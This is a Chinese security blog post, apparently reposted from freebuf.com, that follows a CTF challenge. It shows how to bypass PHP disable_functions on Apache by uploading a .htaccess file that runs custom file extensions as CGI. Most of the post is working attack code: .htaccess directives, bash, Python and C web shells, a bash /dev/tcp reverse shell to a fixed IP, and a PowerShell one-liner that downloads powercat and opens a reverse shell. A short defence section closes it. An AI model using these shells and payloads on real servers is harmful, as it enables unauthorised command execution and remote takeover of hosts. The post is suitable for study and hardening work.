Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh

一、前言

在击剑(渗透)过程中,总会遇到disable_functions禁用函数的情况,在前段时间刚结束红帽杯初赛中,有一道bypass disable_functions的web题,虽然蚁剑有插件可以直接打穿,但蚁剑毕竟乃身外之物,身为一个剑客,总得有真才实学,所以针对.htaccess的方法进行了一些研究,总结出了几种姿势。

二、前置知识

.htaccess文件又称为分布式配置文件,顾名思义就是可以作为配置文件实现一些功能,在这里我们可以利用它来添加自定义的后缀并作为cgi程序运行,绕过disable_functions,实现命令执行

三、常用姿势

实现此方法需具备四个条件

1.Apache环境

2.mod_cgi已经启用

httpd.conf配置文件:
图片[1]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

3.必须允许.htaccess文件,也就是AllowOverride选项为All,不是none
httpd.conf配置文件:
图片[2]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科4.必须有权限写.htaccess文件

第一步:上传.htaccess

将.htaccess文件上传到网站当前目录中,内容如下:

Options +ExecCGI
AddHandler cgi-script .ares

Options指令的作用是控制特定目录将启用哪些服务器特性
**+**表示增加某一条特性
ExecCGI选项表示允许使用mod_cgi模块执行CGI脚本
Options +ExecCGI就表示启用mod_cgi模块执行CGI脚本

AddHandler指定处理程序与扩展名之间的关系
AddHandler cgi-script .ares就表示.ares扩展名以cgi-script进行处理

第二步:上传shell.ares

将shell.ares文件上传到网站当前目录中,内容如下:

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
echo&&whoami

#Content-Type: text/html 指定内容类型,告诉浏览器以html的语法解析此文件,而不是去下载它。

访问shell.ares,成功执行命令
图片[3]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

也可以直接反弹shell

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
bash -i >& /dev/tcp/10.11.121.28/1234 0>&1

访问shell.ares后成功反弹
图片[4]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

四、其它姿势

Windows环境

1.Powershell反弹shell

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .bat

上传shell.bat

@echo Content-Type: text/html
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 10.11.121.28 -p 1234 -e cmd

访问shell.bat,此时会弹出powershell的窗口
图片[5]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

成功反弹
图片[6]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

2.Python执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .py

上传shell.py

#!C:\python27\python.exe
print "Content-type:text/html\r\n"
import os
print os.popen('whoami').readline()

第一行要指定python.exe路径

成功执行命令
图片[7]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

3.C语言执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .cgi

使用Visual Studio 编写c程序

#define _CRT_SECURE_NO_WARNINGS
\#include <stdio.h> 
\#include <stdlib.h>
int main()
{
	printf("Content-type:text/html\n\n");
	system("whoami > C:\\shell.txt");
	FILE* file = fopen("C:\\shell.txt", "r");
	fseek(file, 0, SEEK_END);
	int size;
	size = ftell(file);
	rewind(file);
	char buffer[100] = { 0 };
	fread(buffer, size, 1, file);
	printf("%s\n", buffer);
	fclose(file);
}

这里是通过命令结果重定向和读取文件的形式

修改项目属性,可以修改输出目录和扩展名
图片[8]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科
图片[9]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科
图片[10]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科
注意根据自己系统选择对应位数
图片[11]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科
最后Ctrl+B编译C文件

上传生成的C文件shell.cgi
访问shell.cgi,执行命令成功
图片[12]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

Linux环境

1.Python执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .py

上传shell.py

#!/usr/bin/python
print "Content-type:text/html\r\n"
import os
print os.popen('whoami').readline()

同样的第一行要指定python路径

成功执行命令
图片[13]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科


2.C语言执行命令

.htaccess文件

Options +ExecCGI
AddHandler cgi-script .cgi

编写c文件

#define _CRT_SECURE_NO_WARNINGS
\#include <stdio.h> 
\#include <stdlib.h>
int main()
{
        printf("Content-type:text/html\n\n");
        system("whoami > /tmp/shell.txt");
        FILE* file = fopen("/tmp/shell.txt", "r");
        fseek(file, 0, SEEK_END);
        int size;
        size = ftell(file);
        rewind(file);
        char buffer[100] = { 0 };
        fread(buffer, size, 1, file);
        printf("%s\n", buffer);
        fclose(file);
}

需要注意的是命令结果需要重定向到有权限的目录下,比如/tmp

使用gcc编译c文件
gcc shell.c -p shell.cgi

上传shell.cgi
成功执行命令
图片[14]-Bypass disable_functions .htaccess方法的几种姿势(Windows和Linux环境) – 作者:CHNlsh-安全小百科

五、防御措施

方法一:禁用用户上传.htaccess文件
方法二:忽略.htaccess文件
编辑apache配置文件
修改AllowOverride的值为None,表示忽略.htaccess文件
image.png

六、总结

网络安全,知己知彼,百战不殆,掌握一种技术的原理很重要,只有掌握了原理,在遇到问题的情况下也能快速找到并解决问题。

ps:很多时候页面报错”HTTP 500 – Internal Server Error 服务器内部错误”,都是由于代码有问题。

来源:freebuf.com 2021-05-26 10:09:49 by: CHNlsh

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论